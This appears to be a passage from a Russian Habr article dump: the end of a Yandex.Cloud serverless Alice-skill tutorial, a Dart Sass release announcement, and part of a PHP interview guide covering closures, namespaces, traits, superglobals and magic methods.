Для создания навыка нам необходимо [описать](https://github.com/yandex-cloud/examples/blob/master/serverless/alice-shareable-todolist/app/alice/api/api.go) структуру запроса и все нужные интенты, поддержать их приём на стороне навыка и написать обработчик, не забыв про авторизацию.
Храним сценарии
---------------
Сценарий можно описать автоматом. Когда у нас появляется состояние — например, пользователь добавляет что-то в список дел, — надо помнить о том, чтобы он не оказался в тупике, а мог сказать «Отмена» или вернуться в начальное состояние.
Вопрос в том, что делать с этим состоянием. Хранить в базе данных? В платформе Диалогов есть готовая фича — хранить состояние на стороне Диалогов (с ограничением в 1 КБ) и возвращать состояние в ответе. Оно придёт к нам в запросе.
Запрос:
```
type ReqState struct {
Session StateData `json:"session"`
}
```
Ответ:
```
type Response struct {
Version string `json:"version"`
Response *Resp `json:"response"`
StartAccountLinking *EmptyObj `json:"start_account_linking"`
State *StateData `json:"session_state"`
}
```
[Код хранения сценариев — stateless handler](https://github.com/yandex-cloud/examples/blob/master/serverless/alice-shareable-todolist/app/alice/api/api.go)
[Код хранения сценариев — stateful handler](https://github.com/yandex-cloud/examples/blob/master/serverless/alice-shareable-todolist/app/alice_handler.go)
В статье мы с вами рассмотрели основные этапы разработки веб-приложения на Go в serverless-стеке на Yandex.Cloud для навыка Алисы. Подробное руководство и недостающие детали есть в [видеозаписи](https://youtu.be/PMWMDTBKFAc) и [Readme](https://github.com/yandex-cloud/examples/tree/master/serverless/alice-shareable-todolist#readme)на GitHub, где весь проект полностью доступен в исходных кодах.
Разрабатываем вместе с сообществом
----------------------------------
В Yandex.Cloud есть живое и растущее serverless-комьюнити [Yandex Serverless Ecosystem](https://t.me/YandexCloudFunctions) и официальный чат [Yandex.Cloud](https://t.me/yandexcloud_chat) в Telegram, где можно задавать вопросы и оперативно получать ответы от единомышленников и коллег. Присоединяйтесь!
И ещё в Yandex.Cloud действует программа [free tier](https://cloud.yandex.ru/docs/billing/concepts/serverless-free-tier). Это позволяет реализовать массу проектов бесплатно, если не выходить за лимиты. | https://habr.com/ru/post/570470/ | null | ru | null |
# Анонсируем Dart Sass
В течение нескольких последних месяцев мы тихо работали надо новым проектом. Сегодня я готова анонсировать [Dart Sass](https://github.com/sass/dart-sass) всему миру. Это абсолютно новая реализация Sass, созданная, чтобы быть быстрой и легкой в установке и разработке. Она еще не завершена — я веду работу по приведению её в соответствие со [спецификацией Sass](https://github.com/sass/sass-spec) — так что сегодня я просто публикую версию 1.0.0-alpha.1. Но она достаточно надежна, чтобы можно было скачать, поиграться с ней и [начать сообщать баги](https://github.com/sass/dart-sass/issues).
Вы можете скачать архив с [со страницы релиза](https://github.com/sass/dart-sass/releases/tag/1.0.0-alpha.1) — просто распакуйте его, добавьте директорию в path, и запустите `dart-sass`. Dart также компилируется в JavaScript, так что если у вас установлен [npm](https://www.npmjs.com/), то вы можете установить JS-версию запустив `npm install -g dart-sass`. И если вы сами уже являетесь пользователем Dart, то можете его установить через `pub global dart-sass`.
Зачем переписывать Sass?
------------------------
В течение последних нескольких лет было две основные реализации Sass. [Ruby Sass](https://github.com/sass/sass) был первым, написанным в основном мной при существенной поддержке [Криса](https://twitter.com/chriseppstein). Он был высокоуровневым и легким для разработки, и являлся тем местом, где мы обкатывали и выпускали новые возможности. Затем появился [LibSass](https://github.com/sass/libsass) — реализация на C++, изначально созданная [Аароном](https://github.com/akhleung) и [Хэмптоном](https://github.com/hcatlin), а в настоящее время поддерживается [Марселем](https://github.com/mgreter) и [Майклом](https://github.com/xzyfer). Это низкоуровневая версия, что делает ее быстрой и легкой в установке и встраивании в другие языки. В частности, [байндинг к Node.js](https://github.com/sass/node-sass) является очень популярным способом использования Sass в мире JavaScript.
Достоинства каждой версии дополняют слабости другой. Там где LibSass быстра и переносима, Ruby Sass медленный и сложный к установке не-Ruby пользователями. Зато Ruby Sass проще в разработке, в то время как в LibSass добавлять новые возможности намного сложнее из-за низкоуровнего языка. Хотя взаимодополняющие отношения могут быть здоровыми, но это так же значит, что ни одно из решений не такое хорошее, каким должно бы быть. Это мы обнаружили, когда в мае [Марсель официально покинул команду LibSass](http://blog.sass-lang.com/posts/734390-thank-you-marcel). (*Примечание автора:* Я говорю "официально", потому что он все еще принимает участие в проекте по мере возможности, но не в том объеме как официальный разработчик).
Лишенные усилий двух человек, мы были не уверены, что LibSass сможет поддерживать темп, так что Крис и я захотели внести изменения в используемый язык. В течение долгого времени было понятно, что Ruby Sass намного медленнее при обработке больших таблиц стилей. Нам нужна была новая реализация, которая могла бы быстро генерировать CSS *и* быстро добавлять новую функциональность.
Почему Dart?
------------
Мы рассмотрели несколько возможных языков и остановились на Dart по нескольким причинам. Во-первых, он *действительно быстрый* – Dart-VM в основном сильно быстрее чем JavaScript VM и [предварительные бенчмарки](https://github.com/sass/dart-sass/blob/master/perf.md) показывают, что для больших файлов Dart Sass в 5-10 раз быстрее Ruby Sass и только в 1,5 раза медленнее LibSass. (*Примечание автора:* Я не эксперт в бенчмарках, и в тестах были подобраны (ad hoc — *пер.*) нерепрезентативные исходные файлы. Если кто-нибудь заинтересован в работе над более научными измерениями, дайте мне знать). С опаской предположу, что это будет в 1,5-2 раза быстрее специализированной JS-реализации, но не могу сказать уверенно. Кроме того, производительность Dart улучшается со временем.
В то время как с Dart легко работать — намного легче, чем с C++, и в некоторой степени легче чем с Ruby для такого большого проекта. Конечно, не так много людей знакомы с ним, как с JavaScript, но работа над реализацией языка не подразумевает множества внешних участников в любом случае. Я буду делать большую часть работы над новой реализацией, и Dart это язык с которым я лично чувствую себя комфортно в данный момент (в то время, когда я не работаю над Sass, я в команде Dart). Использование Dart дает мне прибавку в скорости.
В отличие от Ruby или JavaScript, Dart *статически типизирован*, так что тип каждого значения может быть выведен без необходимости запускать сам код. Также, в отличие от C++, он *со сборкой мусора*, то есть нам не нужно беспокоиться о приборке за собой. Это делает его легким для написания, правок и поддержки. Может быть, даже более важно то, что он легко транслируется в другие языки программирования, что позволит LibSass получать новые возможности быстрее.
Последняя причина выбора Dart, это то, чем немногие языки могут похвастаться: совместимость с JavaScript. Dart может быть скомпилирован в JavaScript, который может напрямую использоваться в Node.js и даже возможно в браузере. Большая часть экосистемы Sass построена на node-sass, и мы намерены сделать JS-версию Dart Sass как можно более совместимой по API c node-sass, чтобы можно было легко перекинуть на новую версию существующие инструменты и системы сборки.
Единственный недостаток здесь – это провал по скорости: Dart Sass примерно вдвое медленнее при запуске на V8 по сравнению с Dart VM. Однако, он все еще дает уверенный прирост в 3-4 раза по сравнению с Ruby Sass. В итоге, мы также надеемся, что сможем предоставить пользователям JS-версии путь миграции на Dart VM настолько легкий, насколько возможно.
Что же случится с Остальными Реализациями?
------------------------------------------
Никаких перемен в разработке LibSass. Майкл напряженно работает над добавлением новых возможностей из [Sass 3.5](http://blog.sass-lang.com/posts/809572-sass-35-release-candidate), и мы ожидаем, что этот процесс продолжится по мере добавления новой функциональности. Единственным отличием станет то, что LibSass больше не будет обязана быть строго совместима с последней версией языка, перед запуском этой самой версии, поскольку она больше не будет единственной версией с разумной производительностью.
Больше гибкости выльется в более быстрые релизы LibSass, которые поставят на первый план возможности, которые пользователи хотят сильнее всего. Строгая совместимость значила, что важные нововведения, такие, как, например, [поддержка пользовательских CSS-свойств](https://github.com/sass/libsass/issues/2076) не могут быть выпущены до тех пор, пока не будут обработаны все маленькие и хитрые граничные случаи, которые были в соответствующей версии Ruby Sass, например, [`объединение :root`](https://github.com/sass/libsass/issues/2071). Мы все еще стараемся достигать максимальной совместимости, насколько возможно, но мы не будем позволять стоять ей на пути у скорости.
Ruby Sass в конечном итоге уйдет совсем, если не появится новый разработчик для него. Мы не хотим делать переход внезапным, рискуя расколоть экосистему: я и Крис собираемся поддерживать его в течение одного года, что включает поддержку функциональности на том же уровне, что будет добавляться в Dart Sass. Если кто-то заинтересован в участии как разработчик после этого периода, мы будем рады познакомить его с кодом в течение наступающего года. А если никто не выступит, то Ruby Sass будет официально признан устаревшим и неподдерживаемым.
Я хочу подчеркнуть, что мы не совершаем решение прекратить разработку Ruby Sass просто так. Это большое и не простое для меня изменение, я непрерывно работала над ним почти 10 лет, и мне сложно позволить уйти этой истории. Но мы с Крисом тщательно это обсудили и склонились к тому, что это правильный ход. Мы посвятили так много времени Sass, что это больше не имеет смысла тратить это время на реализацию, медленную настолько, что это неприемлемо для наших крупнейших пользователей.
Что дальше
----------
Перед тем как мы выпустим первую стабильную версию Dart Sass, есть несколько больших вещей в нашем списке:
* Полная совместимость со спецификацией Sass. Здесь все еще есть моменты, где Dart Sass ведет себя неправильно, особенно в отношении `@extend`. Я не ожидаю никакой особой несовместимости, которую будет трудно решить, спецификация Sass довольно исчерпывающая, так что это лишь дело уменьшения количества непройденных тестов до нуля.
* Достаточно близкая совместимость с `render()` из node-sass. Этот API является основной точкой входа в LibSass в мире JavaScript. Именно так системы сборки запускают Sass, пользователи определяют свои собственные Sass-функции и [Eyeglass](https://github.com/sass-eyeglass/eyeglass) передает свои модули в Sass. Мы хотим поддержать API с достаточной мере, чтобы существующая экосистема работала с Dart Sass.
* Совместимость Dart и Ruby Sass. Здесь есть несколько случаев, где Dart-функциональность намеренно отличается от Ruby, в частности, там где поведение Ruby расценивается как баг. Мы должны добавить предупреждения об этом в Ruby Sass или, если мы сможем это сделать с минимальными правками, внести новое поведение и в Ruby.
Здесь еще несколько пунктов, которые мы хотели бы сделать в конечном счете, как например поддержка Sass в браузере и предоставление node-sass-совместимой обертки для Sass на Dart VM, но это не блокирует начальный релиз.
В дальнейшем будущем
--------------------
На несколько следующих месяцев я вижу много работы по становлению Dart Sass стабильнее и совместимее, а также добавление [возможностей Sass 3.5](http://blog.sass-lang.com/posts/809572-sass-35-release-candidate) в LibSass. Я думаю, что скорее всего в начале 2017 мы увидим стабильный релиз Dart Sass и версию LibSass 3.5. В это время мы определимся с нашим взглядом на крупную функциональность и начнем работать над Sass 4.0 и его совершенно новой системой модулей.
Dart Sass не является большой переменой, но в то же время захватывающей. Это позволит нам быстрее доставлять новую функциональность в руки пользователей, а также заставить эту функциональность *работать* быстрее. Кроме того, это позволит пользователям легко установить и запустить эталонную реализацию. И, наконец, это впервые даст нам производительный путь запустить Sass на чистом JavaScript. Преимущества такие больше большие и ощутимые, что я уверена, что он стоят издержек. | https://habr.com/ru/post/314208/ | null | ru | null |
# Руководство по собеседованию на вакансию PHP-программиста
Вездесущий… это определённо то слово, которым можно описать язык PHP по отношению к вебу. Он действительно вездесущ. В настоящее время, среди всех серверных языков программирования, PHP используется наиболее широко. На нём написаны более 80% сайтов, при этом следующий по популярности ASP.NET со своими 17% остаётся далеко позади.
Почему? Что позволило PHP стать настолько популярным и широко используемым? На этот вопрос нет однозначного ответа, но простота использования языка, безусловно, существенный фактор, поспособствовавший его успеху. Новички в PHP могут быстро выйти на достаточный уровень и разместить динамический контент на своих веб-сайтах с минимум познаний в программировании.
Именно в этом и заключается основная проблема поиска высококвалифицированных PHP-разработчиков. Относительно низкий порог вхождения и 20 лет развития языка привели к тому, что PHP-программисты стали такими же вездесущими, как и сам PHP. Многие из них могут на законных основания утверждать, что «знают» язык. Однако разработчики, которые действительно являются экспертами по PHP, способны создавать куда более функциональное, надёжное, масштабируемое и простое в сопровождении программное обеспечение.
Как же отличить тех, кто обладает реальной компетентностью в PHP (не говоря уже о тех, кто входит в 1% наиболее опытных кандидатов) от тех, у кого только поверхностные знания?
**От переводчика:** данный текст представляет собой перевод и адаптацию с небольшими дополнениями статьи [The Insider's Guide to PHP Interviewing](http://www.toptal.com/php#hiring-guide), ссылка на которую была опубликована в последнем июньском [дайджесте по PHP](http://habrahabr.ru/company/zfort/blog/228215/). Я постарался максимально передать смысл оригинала, добавил несколько пояснений, значительно увеличил количество ссылок на документацию, а также добавил ссылки на статьи с хабра и на другие источники. Важное отличие от оригинала: добавлена навигация по вопросам, часть кода и текста скрыта под спойлеры.
В этом руководстве предлагаются несколько вопросов, которые помогут эффективно оценить широту и глубину владения кандидатом PHP. Стоит иметь в виду, что они являются лишь ориентирами. Не каждый высококлассный кандидат, достойный найма, сможет правильно ответить на все вопросы, как и ответ на них не гарантирует, что кандидат вам подойдет. В конце концов, рекрутинг – больше искусство, чем наука.
Обратите внимание, что мы сфокусировали внимание на современных версиях PHP (5.3 и старше), но также есть отсылки к концепциям и функциям, существующим уже достаточно давно, а значит знакомым всем квалифицированным PHP-разработчикам.
#### Список вопросов
1. [Расскажите о замыканиях в PHP. Приведите примеры, когда, почему и как они могут быть использованы?](#q1)
2. [Объясните, с какой целью и как используется ключевое слово global. Приведите пример, когда его применение целесообразно и когда нет.](#q2)
3. [Расскажите о пространствах имён в PHP и о том, почему они полезны.](#q3)
4. [Что такое типажи (traits, трейты)? Опишите их основные характеристики и расскажите, чем они полезны. Приведите пример объявления типажа и класса, использующего несколько типажей.](#q4)
5. [Расскажите, как связаны между собой php://input и $\_POST и как получить доступ к потоку php://input?](#q5)
6. [Назовите не менее пяти суперглобальных переменных, имена которых начинаются с $\_, и дайте им определение. Расскажите об их связи с переменной $GLOBALS.](#q6)
7. [Объясните назначение и применение магических методов \_\_get, \_\_set, \_\_isset, \_\_unset, \_\_call, и \_\_callStatic. Когда, как и почему их стоит использовать (или не использовать)?](#q7)
8. [Опишите несколько структур данных из стандартной библиотеки PHP (SPL). Приведите примеры использования.](#q8)
9. [Чему будет равен `$x` после выполнения выражения `$x = 3 + "15%" + "$25"`?](#q9)
10. [Объясните назначение ключевого слова static при вызове метода или обращении к свойству. Расскажите, когда и зачем его нужно использовать, а также чем оно отличается от ключевого слова self. Приведите пример.](#q10)
11. [Расскажите о внутреннем устройстве массивов в PHP?](#q11)
12. [В чем различие между ArrayAccess и ArrayObject?](#q12)
13. [Что такое генераторы? Когда их можно использовать вместо итераторов и обычных массивов? Для чего нужны ключевые слова yield и send?](#q13)
14. [Перечислите ключевые отличия между версиями PHP 5.3, 5.4, 5.5.](#q14)
#### Ключевые концепции и парадигмы
Есть ряд основных концепций и парадигм, без знания которых нельзя считать себя экспертом в PHP. Вот несколько примеров.
##### **Вопрос**: Расскажите о [замыканиях в PHP](http://habrahabr.ru/post/147620/). Приведите примеры, когда, почему и как они могут быть использованы?
[Замыкания](http://ru.wikipedia.org/wiki/%C7%E0%EC%FB%EA%E0%ED%E8%E5_%28%EF%F0%EE%E3%F0%E0%EC%EC%E8%F0%EE%E2%E0%ED%E8%E5%29) полезны в тех ситуациях, когда некоторая часть логики должна выполняться в ограниченном контексте, но при этом должна сохранить возможность взаимодействия с окружающей средой, внешней по отношению к этому контексту.
Первый строительный блок для замыкания – это анонимные (лямбда) функции, т.е. такие функции, у которых нет ассоциированных с ними имён. Например:
```
// 2-ой аргумент для array_walk - анонимная функция
array_walk($array, function($dog) {
echo $dog->bark();
});
```
Хотя у анонимных функций и нет связанного с ними имени, они могут быть ассоциированы с переменными или переданы в качестве callback-параметра в [функцию высшего порядка](http://ru.wikipedia.org/wiki/%D0%A4%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D1%8F_%D0%B2%D1%8B%D1%81%D1%88%D0%B5%D0%B3%D0%BE_%D0%BF%D0%BE%D1%80%D1%8F%D0%B4%D0%BA%D0%B0). Пример:
```
// объявляем анонимную функции и ассоциируем её
// с переменной $dogs_bark
$dogs_bark = function($dog) {
echo $dog->bark();
}
array_walk($array, $dogs_bark);
```
Внутреннее устройство замыканий в PHP представлено специальным классом замыканий – [Closure](http://www.php.net/manual/ru/class.closure.php).
Содержимое анонимной функции существует в своей области видимости независимо от области видимости, в которой эта функция была создана. Тем не менее, можно явно связать одну или несколько переменных из внешней области видимости, на которые можно будет сослаться в области видимости анонимной функции. Для этого нужно воспользоваться конструкцией `use` при определении анонимной функции.
**Пример кода**
```
class Dog {
public function bark() { echo 'woof'; }
}
$dogs_bark = function($dog) use (&$collar) { // связываем по ссылке
if ($collar == 'fitsWell'){
echo $dog->bark(); // 'woof'
} else {
echo 'no bark'; // ошейник ($collar) слишком туго затянут
}
};
$dog = new Dog;
$collar = 'fitsWell'; // внешняя переменная
$dogs_bark($dog); // 'woof'
$collar = 'tight';
$dogs_bark($dog); // 'no bark'
```
Способность получить доступ ко внешним переменным в пределах замыкания особенно полезна при использовании функций высшего порядка. Возьмём, например, функцию `array_walk($array, $calback)`, которая, как и другие подобные функции, позволяет обойти переданный ей набор переменных и обработать их специфическим способом. Эта функция обходит массив `$array` и на каждой итерации вызывает анонимную функцию (`$callback`), передавая ей только значение текущего элемента и его ключ. Поэтому использовать переменную $collar без замыкания и конструкции `use` не получится. Конечно, мы можем воспользоваться ключевым словом `global`, но это приведёт к бессмысленному засорению глобального пространства имён переменной, которая нужна только в данном конкретном контексте.
Замыкания обладают дополнительными объектно-ориентированными возможностями. Начиная с версии PHP 5.4, в интерфейсе класса `Closure` появились новые методы: `bind()` и `bindTo()`, которые можно использоваться для привязки новых объектов к замыканию. Например:
```
Closure::bindTo($newthis, $newscope);
```
Этот метод дублирует замыкание и связывает его область видимости с новым объектом таким образом, что внутри замыкания переменная `$this` станет ссылкой на `$newthis` в объектном контексте. Давайте изменим функцию `$dogs_bark` так, чтобы она использовала переменную `$this`, а затем привяжем её к объекту `$dog`.
```
// объявляем замыкание, но не связываем его с объектом
$dogs_bark = function() {
echo $this->sound; // где sound - свойство объекта $this
};
$new_dog = new Dog();
// создаем новое замыкание и привязываем его к объекту $new_dog
$new_closure = $dogs_bark->bindTo($new_dog);
$new_closure(); // выводит значение свойства $sound
```
Привязка замыкания к переменной и получение доступа к `$this` – достаточно мощная возможность. В частности, мы можем присвоить замыкание свойству объекта, по существу, превратив его в метод этого объекта.
```
$dog = new Dog();
$dog->closure = $dogs_bark;
$dog->closure();
```
В результате, мы можем изменять поведение объекта во время выполнения без необходимости переопределения сигнатуры класса. Эта возможность полезна в тех ситуациях, когда требуется доработка функционала, но код нельзя изменять, либо изменение необходимо в ограниченном контексте.
[К списку вопросов](#questions)
##### **Вопрос:** Объясните, с какой целью и как используется ключевое слово `global`. Приведите пример, когда его применение целесообразно и когда нет.
В прошлом объектно-ориентированные возможности PHP были куда проще, чем сейчас, и поэтому нередко можно встретить устаревший код, который активно использует ключевое слово `global`. Во многих отношениях, использование глобальных переменных – это плевок в лицо всем лучшим практикам объектно-ориентированного программирования. Оно приводит к появлению излишней взаимозависимости между классами, затрудняет разделение логики, приводит к загрязнению глобального пространства имён переменными, которые используются в одном конкретном контексте, и не нужны в других.
**Рассмотрим простой пример:**
```
class Dog {
function bark() {
global $sounds;
return $sounds->bark();
}
}
```
Код демонстрирует появление скрытой зависимости класса `Dog` от глобальной переменной `$sounds`. Конечно, бывают случаи, когда это оправданно (допустим, в системе существует единственный набор звуков, который вообще никогда не изменяется), но гораздо лучше явно передать `$sounds` объекту класса `Dog` в конструкторе, и хранить и использовать его в пределах этого экземпляра:
**Пример кода**
```
class Dog {
protected $sounds;
function __construct($sounds) {
$this->sounds = $sounds;
}
public function bark() {
return $this->getSounds()->bark();
}
public function getSounds() {
return $this->sounds;
}
}
```
Но, как часто бывает в программировании, никогда не говори никогда. Существует ряд надёжных и стабильных продуктов, написанных на PHP, которые активно пользуются глобальными переменными: [Wordpress](http://wordpress.org/), на котором работает около 20% всех сайтов (и это число растёт из года в год), [Joomla! 1.5](http://www.joomla.org/announcements/release-news/5419-joomla-1526-released.html) (да, она до сих пор еще широко распространена) и [iLance Enterprise Auction system](http://www.ilance.com/) – это все примеры успешных проектов, в течение многих лет использующих глобальные переменные. Точно так же и у вас могут возникнуть ситуации, в которых глобальные переменные будут уместны, однако к их применению нужно подходить осторожно.
[К списку вопросов](#questions)
##### **Вопрос**: Расскажите о пространствах имён в PHP и о том, почему они полезны.
Одно из объектно-ориентированных нововведений в PHP 5.3 – пространства имён. Как следует из названия, пространство имён определяет такую область видимости в программе, внутри которой имена классов, интерфейсов, функций, переменных и констант не будут вызывать конфликтов с элементами, обладающими такими же именами в другом пространстве имён.
До PHP 5.3, классам часто давали длинные имена, чтобы отразить в их названии структуру пакетов и избежать конфликтов имён. Предположим, что у нас есть класс `Dog`, определенный в модели приложения `Dog_Pound`. Без пространства имён полное имя класса выглядело бы следующим образом:
```
class Dog_Pound_Model_Dogs { // ух, попробуй выговори
function getDogs();
}
```
Явное задание пространства имён, в области видимости которого будут определены все элементы (классы, переменные и т.д.), позволяет разработчику решить эту проблему. При использовании пространства имён, приведенное выше многословное название класса можно заменить на следующее:
```
namespace dog_pound\model; // указываем текущее пространство имён
class Dogs { // объявляем только "Dogs" в dog_pound\model
function getDogs();
}
$dogs = new Dogs; // класс создаваемого объекта определён однозначно,
// т.к. в текущем пространстве имён он один имеет такое имя
```
Также поддерживаются относительные ссылки на пространства имён. Например, когда вы находитесь в пространстве `dog_pound`, вы сможете создать экземпляр класса `Dogs` вот таким образом:
```
$dogs = new model\Dogs // только одна "model" определена в dog_pound
```
Кроме того, элементы из одного пространства имён могут быть импортированы в другое и использоваться в нём непосредственно (т.е. без ссылок на исходное пространство имён). Этого можно добиться с помощью ключевого слова `use`:
```
namespace this\new\namespace; // текущее пространство имён
// импортируем Dogs из пространства dog_pound\model
use dog_pound\model\Dogs;
$dogs = new Dogs;
```
[К списку вопросов](#questions)
##### **Вопрос**: Что такое типажи (traits, трейты)? Опишите их основные характеристики и расскажите, чем они полезны. Приведите пример объявления типажа и класса, использующего несколько типажей.
[Типажи](http://habrahabr.ru/post/130000/) – это великолепное дополнение, появившееся в PHP 5.4, позволяющее добавлять классу поведение без необходимости расширения родительского класса через наследование (до версии 5.4 это можно было реализовать с помощью паттерна [примесь](http://rmcreative.ru/blog/post/mixin-v-php)). Важно отметить, что в контексте одного класса можно использовать несколько типажей. Их применение способствует улучшению организации кода и разделению обязанностей, а также соответствует известному [принципу проектирования](http://habrahabr.ru/post/140827/), гласящему: «предпочитайте композицию наследованию».
**Пара примеров объявления типажей:**
```
trait Movement {
public function topSpeed() {
$this->speed = 100;
echo "Running at 100 %!" . PHP_EOL;
}
public function stop() {
$this->speed = 0;
echo "Stopped moving!" . PHP_EOL;
}
}
trait Speak {
public function makeSound(){
echo $this->sound . PHP_EOL;
}
}
```
Теперь воспользуемся ключевым словом `use`, но не для импорта пространства имён, а для включение типажей в определение класса:
**Пример кода**
```
class Dog {
use Movement, Speak; // теперь у класса Dog есть функционал из этих типажей
protected $sound;
function __construct() {
$this->sound = 'bark';
}
}
$dog = new Dog();
$dog->topSpeed(); // из типажа Movement
$dog->stop(); // из типажа Movement
$dog->makeSound(); // из типажа Speak
```
[К списку вопросов](#questions)
#### PHP на пальцах
Запоминание вещей, которые легко можно найти в спецификации языка или в документации по API, не является показателем мастерства. Тем не менее, все, кто близко знаком с языком, знают на пальцах его синтаксические и функциональные особенности и нюансы. Вот некоторые вопросы, которые позволяют оценить кандидата с этой стороны.
##### **Вопрос**: Расскажите, как связаны между собой `php://input` и `$_POST` и как получить доступ к потоку php://input?
Говоря простым языком, `$_POST` – это суперглобальный массив, представляющий проанализированное и отформатированное тело запроса, отправленного на сервер методом post.
**Пример текста запроса**
```
POST /php-hiring-guide/php-post.php HTTP/1.1
Host: toptal.com
Referer: http:///toptal.php/php-hiring-guide/php.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
article_name=PHP Hiring Guide&tag_line=You are hired!&action=Submit
```
Доступ к телу запроса можно получить через входной поток таким же образом, как читаются любые файлы:
```
$input = file_get_contents("php://input");
```
[К списку вопросов](#questions)
##### **Вопрос**: Назовите не менее пяти [суперглобальных переменных](http://www.php.net/manual/ru/language.variables.superglobals.php), имена которых начинаются с `$_`, и дайте им определение. Расскажите об их связи с переменной `$GLOBALS`.
**Список суперглобальных переменных**`$_POST` – ассоциативный массив, содержащий пары ключ-значение, отправленные на сервер методом post.
`$_GET` – ассоциативный массив, содержащий пары ключ-значение, отправленные на сервер методом get.
`$_REQUEST` – объединение пар ключ-значение из $\_POST и $\_GET.
`$_SERVER` – представляет параметры веб-сервера, имеющие отношение к выполнению программы.
`$_ENV` – содержит значения, связанные с сервером (хостом) и его конфигурацией.
`$_SESSION` – ассоциативный массив, хранящий значения переменных сессии между переходами по страницам и запусками приложения.
`$_COOKIE` – предоставляет доступ к переменным, сохраненным в кукисах на клиенте.
`$_FILES` – специальный массив для входных данных, полученных при отправке на сервер файлов методом post.
Суперглобальная переменная `$GLOBALS` – родственник ключевого слова `global`. В массиве `$GLOBALS` хранятся все переменные, доступные в глобальной области видимости, в том числе и суперглобальные массивы. Например, доступ к `$_ENV` можно получить вот таким образом: `$GLOBALS['_ENV'];`
[К списку вопросов](#questions)
##### **Вопрос**: Объясните назначение и применение магических методов `__get`, `__set`, `__isset`, `__unset`, `__cal`l, и `__callStatic`. Когда, как и почему их стоит использовать (или не использовать)?
Первые четыре метода в нашем списке используются для [перегрузки свойств](http://www.php.net/manual/ru/language.oop5.overloading.php) объекта. Они позволяют определить, каким образом будет взаимодействовать внешний мир со свойствами, объявленными с модификатором видимости `private` или `protected`, либо вообще отсутствующими у объекта.
**Пример кода**
```
// свойство 'whiskers' не объявлено в классе Dog,
// но обрабатывается методом __get:
function __get($name) {
if ($name == 'whiskers') {
// создаем единственный whiskersService для экземпляра
if (! isset($this->whiskersService)) {
$this->whiskersService = new Whiskers($this);
}
// при обращении к 'whiskers' будет выполнена загрузка whiskersService
return $this->whiskersService->load();
}
}
```
Теперь можно просто обратиться к свойству 'whiskers':
```
$hairs = $dog->whiskers;
```
Используя метод `__get` для перехвата ссылок на свойства, внешне похожие на публичные, мы способны скрыть детали реализации этих свойств.
Метод `__set` применяется аналогично:
**Пример кода**
```
function __set($name, $value) {
if ($name == 'whiskers') {
if ($value instanceOf Whisker) {
$this->whiskersService->setData($value);
return $this->whiskersService->getData();
} else {
throw new WhiskerException("That's not a whisker");
return false;
}
}
}
```
Изменение значения свойства `'whiskers'` будет выглядеть так:
```
$dog->whiskers = $hairs;
```
Это выражение приведет к автоматическому вызову метода `__set()` с передачей ему в качестве первого параметра имени свойства (`'whiskers'`) и правой части оператора присвоения в качестве второго.
Наконец, `__isset` и `__unset` завершают квартет методов для перегрузки свойств. Каждый из них принимает только один параметр – имя свойства, и вызываются при выполнении операций `isset()` и `unset()` над этим свойством.
**Пример кода**
```
function __isset($name) {
if ($name == 'whiskers') {
return (bool) is_object($this->whiskersService) &&
!empty($this->whiskersService->getData());
}
}
function __unset($name) {
if ($name == 'whiskers' && is_object($this->whiskersService)) {
// мы не хотим полностью останавливать сервис
$this->whiskersService->reset();
}
}
```
Два оставшихся метода, `__call` и `__callStatic`, выполняют похожую функцию, позволяя реализовать [перегрузку методов](http://ru.wikipedia.org/wiki/Перегрузка_процедур_и_функций). Они позволяют нам определить, как класс и его экземпляры отреагируют на попытки вызова неопределенных, защищенных или приватных методов.
**Прим. переводчика:** `__call` вызывается при обращении к члену класса в контексте объекта, а `__callStatic` при обращении к статическому члену класса. В качестве аргументов, они оба принимают имя `$name` вызываемого метода и массив `$args` с переданными методу `$name` параметрами.
Например, вот такая реализация `__call` приведет к тому, что при обращении к любому «невидимому» методу будет выполнена полезная нагрузка на `whiskersService`:
```
public function __call($method, $args) {
return $this->whiskersService->load();
}
```
Метод `__callStatic` работает таким же образом и принимает те же аргументы, однако он вызывается при обращении к «невидимому» методу не в контексте объекта, а в статическом контексте. Если мы определим этот метод, то получим возможность обрабатывать вызовы, подобные `ClassName::notVisibleMethod()`.
```
public function __callStatic($method, $args) {
if (!is_object(static::$whiskersService)) {
static::$whiskersService = new Whiskers(__CLASS__);
}
return static::$whiskersService->load();
}
$hairs = Dog::whiskers();
```
В приведённых выше примерах мы инкапсулировали реализацию `whiskers` от внешнего мира, сделав его единственным объектом, доступным таким способом. Клиенты определенных нами методов и свойств ничего не знают о базовом классе `whiskersService` и о том, как вообще `Dog` хранит свои данные.
В совокупности эти методы улучшают возможности для гибкой композиции. Степень абстракции объектов, инкапсуляция, компактность кода (и, как следствие, управляемость системы) также повышается.
Используя магические методы, следует помнить, что получаемые выгоды имеют свою цену. Во-первых, эти методы выполняются медленнее, чем обращение к явно определенным публичным свойствам, а также медленнее установщиков и получателей. Во-вторых, они препятствуют применению многих полезных средств, таких как [рефлексия](http://www.php.net/manual/ru/book.reflection.php), автодополнение в IDE, утилиты автоматической документации (например, PHPDoc). Если эти вещи имеют значение, то, возможно, стоит определить публичные методы и свойства явно. Как и во многих других случаях, на вопрос о том, стоит ли использовать магические методы, однозначно ответить нельзя. Достоинства и недостатки нужно оценивать в каждом конкретном случае.
[К списку вопросов](#questions)
##### **Вопрос**: Опишите несколько структур данных из стандартной библиотеки PHP (SPL). Приведите примеры использования.
Процесс разработки на PHP по большей части связан с получением и обработкой данных из разных источников, таких как базы данных, локальные файлы, удаленные API и т.д. Разработчики тратят очень много времени на организацию данных, их получение, перемещение и обработку. Наиболее используемая структура для представления данных на PHP – это массив. Однако в некоторых случаях массивы не годятся для решения задач из-за недостаточной производительности и избыточного потребления памяти, и поэтому требуются более подходящие структуры данных.
С учётом того, как часто и много говорят о фреймворках, поиск разработчика, обладающего серьёзным опытом разработки с фреймворком из вашего проекта, становится непростой задачей. В конечном итоге, активность сообщества разработчиков приводит к уменьшению количества программистов, работающих с одним конкретным фреймворком, и перераспределению в пользу других. Из-за этого довольно трудно найти разработчика с необходимыми навыками.
Применение [стандартной библиотеки PHP](http://www.php.net/manual/ru/book.spl.php) (Standard PHP Library, SPL) и знание её состава – та область, владение которой может подтвердить компетентность PHP-разработчика. Если у кандидата имеется приличный опыт работы с SPL, то, скорее всего, он сможет успешно работать над вашим приложением, вне зависимости от используемых в вашем окружении фреймворков.
В том числе кандидат должен знать структуры данных, представленные в документации по PHP. Многие из них имеют схожую функциональность, но небольшие различия позволяют использовать их в конкретных ситуациях.
